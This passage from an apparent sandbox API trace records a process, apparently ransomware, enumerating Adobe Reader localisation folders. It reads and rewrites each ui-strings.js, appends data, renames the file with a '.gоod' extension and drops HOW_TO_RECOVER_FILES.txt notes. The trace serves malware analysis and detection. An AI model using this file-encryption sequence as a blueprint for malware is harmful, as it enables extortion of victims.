DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0246.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0246.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x870 [0246.612] GetFileType (hFile=0x870) returned 0x1 [0246.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0246.612] GetFileType (hFile=0x870) returned 0x1 [0246.612] WriteFile (in: hFile=0x870, lpBuffer=0x37c4820*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x37c4820*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0246.613] CloseHandle (hObject=0x870) returned 1 [0246.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0246.613] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x71 [0246.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0246.613] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.613] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.614] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.614] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0246.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0246.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0246.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0246.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x71 [0246.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0246.614] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.614] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.615] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0246.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0246.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0246.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0246.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37d4598 | out: lpFileInformation=0x37d4598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52)) returned 1 [0246.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0246.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0246.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0246.616] GetFileType (hFile=0x870) returned 0x1 [0246.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0246.616] GetFileType (hFile=0x870) returned 0x1 [0246.616] SetFilePointer (in: hFile=0x870, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0246.616] ReadFile (in: hFile=0x870, lpBuffer=0x37d4a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x37d4a90*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0247.122] CloseHandle (hObject=0x870) returned 1 [0247.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0247.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0247.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0247.156] GetFileType (hFile=0x870) returned 0x1 [0247.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0247.157] GetFileType (hFile=0x870) returned 0x1 [0247.157] SetFilePointer (in: hFile=0x870, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xda52 [0247.157] WriteFile (in: hFile=0x870, lpBuffer=0x39c1b58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x39c1b58*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0247.158] CloseHandle (hObject=0x870) returned 1 [0247.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0247.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0247.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0247.158] GetFileType (hFile=0x870) returned 0x1 [0247.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0247.158] GetFileType (hFile=0x870) returned 0x1 [0247.158] ReadFile (in: hFile=0x870, lpBuffer=0x39c44f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x39c44f8*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0247.240] CloseHandle (hObject=0x870) returned 1 [0247.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0247.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0247.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0247.240] GetFileType (hFile=0x870) returned 0x1 [0247.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0247.240] GetFileType (hFile=0x870) returned 0x1 [0247.240] WriteFile (in: hFile=0x870, lpBuffer=0x39c31e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x39c31e0*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0247.241] CloseHandle (hObject=0x870) returned 1 [0247.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0247.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0247.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0247.241] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8f94b29a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xda62)) returned 1 [0247.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0247.241] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0247.243] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0247.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0247.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x870 [0247.244] GetFileType (hFile=0x870) returned 0x1 [0247.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0247.244] GetFileType (hFile=0x870) returned 0x1 [0247.244] WriteFile (in: hFile=0x870, lpBuffer=0x3a44668*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3a44668*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0247.245] CloseHandle (hObject=0x870) returned 1 [0247.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0247.245] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x71 [0247.245] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0247.246] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.246] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.246] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.246] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0247.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0247.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0247.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0247.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x71 [0247.246] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0247.246] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.247] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.247] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.247] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0247.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0247.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0247.247] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 